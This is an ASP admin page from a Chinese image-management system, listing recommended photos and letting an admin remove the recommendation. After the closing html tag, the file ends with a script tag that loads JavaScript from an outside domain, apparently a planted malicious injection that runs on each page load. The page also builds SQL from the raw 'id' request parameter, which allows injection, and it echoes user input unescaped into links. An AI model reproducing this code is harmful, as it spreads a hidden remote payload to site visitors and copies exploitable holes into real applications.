📄 allrec.asp

📁 一款有用的图片管理系统
💻 ASP
字号:
<!--#include file="conn.asp"-->
<!--#include file="check.asp"-->
<%
if session("flag")>0 then
   Response.Write("<br><br><br><center>对不起。你没有权限进入此页面！！！</center>")
   Response.end 
end if

Action=request.QueryString("Action")
if Action="unrec" then
	id=request("id")
	conn.execute("update imgbook set Recomm=False where id in("&id&")")
	response.Write("<script>alert('操作成功！');this.location.href='allrec.asp';</script>")
	response.End()
end if
classname=request("classname")
title=request("title")

sql="select a.titleID,a.titleName,a.ClassName,a.user,b.id,a.updatetime,b.photo,b.Recomm,b.PhotoNum from title as a,imgbook as b where b.titleID=a.titleID and b.Recomm=True order by a.updatetime desc,b.ID desc"
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<link href="../style/css.css" rel="stylesheet" type="text/css">
<script language="JavaScript">
function ChangeClass()
{
this.location.href="manage.asp?classname="+document.form2.classname.value;
}
function unselectall()
{
    if(document.myform.chkAll.checked){
	document.myform.chkAll.checked = document.myform.chkAll.checked&0;
    } 	
}

function CheckAll(form)
  {
  for (var i=0;i<form.elements.length;i++)
    {
    var e = form.elements[i];
    if (e.Name != "")
       e.checked = form.chkAll.checked;
    }
  }
</script>
<style type="text/css">
<!--
.style2 {color: #FFFFFF}
-->
</style>
</head>
<body leftmargin="0" topmargin="0">
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
      <td width="17%" align="center" bgcolor="#799AE1" style="border-bottom: 1 solid #000000">&nbsp;        </td>
      <td colspan="4" align="center" bgcolor="#799AE1" style="border-bottom: 1 solid #000000"><span class="style2">所有推荐图片</span></td>
      <td width="29%" colspan="2" bgcolor="#799AE1" style="border-bottom: 1 solid #000000">&nbsp;     </td> 
  </tr>
</table>
<table width="98%" border="0" align="center" cellpadding="6" cellspacing="0">
<form action="?Action=unrec" method="post" name="myform"><tr>
    <td width="20">ID</td> 
    <td width="189" height="20">&nbsp;图片标题</td>
    <td width="94"><div align="center">缩略图</div></td>
    <td width="103"><div align="center">上传日期</div></td>
    <td width="142">
      <div align="center"><font color="#FF0000">上传人</font></div>
    </td>
    <td width="149" align="center">操作</td>
  </tr>
  <% 
set rs=server.CreateObject("adodb.recordset")
rs.open sql,conn,1,1

rs.pagesize=10
rs.cachesize=10
currentpage=Clng(request("page"))
if currentpage<1 then currentpage=1
if currentpage>rs.pagecount then currentpage=rs.pagecount
rs.absolutepage=currentpage

Do While Not rs.Eof %>
  <tr>
    <td><input name="id" type="checkbox" id="id" value="<%=rs("ID")%>"  onclick="unselectall()"></td> 
    <td height="20"><a href="../img.asp?id=<%=rs("ID")%>&title=<%=rs("titleName")%>" target=_blank class="black"><%=rs("titleName")%></a></td>
    <td height="20"><div align="center"><script src="../showpic.asp?location=manage&FileName=<%=rs("photo")%>"></script></div></td>
    <td height="20"><div align="center"><%=formatdatetime(rs("updatetime"),2)%></div></td>
    <td height="20" align="center">
      <div align="center"><font color="#FF0000"><%=rs("user")%></font></div>
    </td>
    <td height="20" align="center"><a href="modify.asp?id=<%=rs("id")%>&Num=<%=rs("PhotoNum")%>&page=<%=currentpage%>&titleID=<%=rs("titleID")%>&user=<%=rs("user")%>" class="black">修改</a> | <a href="delete.asp?id=<%=rs("ID")%>&titleID=<%=rs("titleID")%>&page=<%=currentpage%>" class="black">删除</a></td>
  </tr>
  <%
i=i+1
rs.MoveNext
If i>=rs.pagesize Then Exit Do
Loop  %>
  <tr>
    <td height="20" align="center"><input name="chkAll" type="checkbox" id="chkAll" value="1" onclick=CheckAll(this.form)></td>
    <td height="20">选中本页所有图片</td>
    <td height="20" colspan="4" style="padding-left: 20px;"><input type="submit" name="Submit3" value="取消对选中的图片的推荐">
    </td>
    </tr>
</form>
</table>
<form name="form1" method="post" action="manage.asp">
  <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr> 
      <td><div align="center">共有图片:<font color=red><%=rs.recordcount%></font> 张,<%=rs.pagecount%>页&nbsp;&nbsp;
          <%if currentpage>1 then%>
          <a href="manage.asp?classname=<%=classname%>&title=<%=title%>" class="black">首页</a>&nbsp; <a href=manage.asp?page=<%=currentpage-1%>&classname=<%=classname%>&title=<%=title%> class="black"> 
          上一页</a>
          <%end if%>
          <%if currentpage<rs.pagecount then%> &nbsp;
          <a href="manage.asp?page=<%=currentpage+1%>&classname=<%=classname%>&title=<%=title%>" class="black">下一页</a>&nbsp;  <a href=manage.asp?page=<%=rs.pagecount%>&classname=<%=classname%>&title=<%=title%> class="black">尾页</a>
          <%end if%>
          第
          <input name="page" type="text" id="page" value="<%=currentpage%>" size="4">
          页
          <input type="submit" name="Submit2" value="转到">
          每页显示<%=rs.pagesize%>张  </div></td>
    </tr>
  </table>
</form>
</body>
</html>
<%
set rs=server.CreateObject("adodb.recordset")
sql="select titleID,titleCount,clickCount from title order by titleID desc"
rs.open sql,conn,1,3
do while not rs.eof 
	set rs1=conn.execute("select count(*),sum(click) from imgbook where titleID="&cint(rs("titleID")))
	rs(1)=cint(rs1(0))
	rs(2)=cint(rs1(1))
	rs.update
	rs.movenext
	rs1.close
loop
set rs1=nothing
rsclose

set rs=server.CreateObject("adodb.recordset")
rs.open "select * from title where titleCount=0",conn,1,3
do while not rs.eof 
	rs.delete
	rs.update
	rs.movenext
loop
rsclose

rsclose()
ConnClose()
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -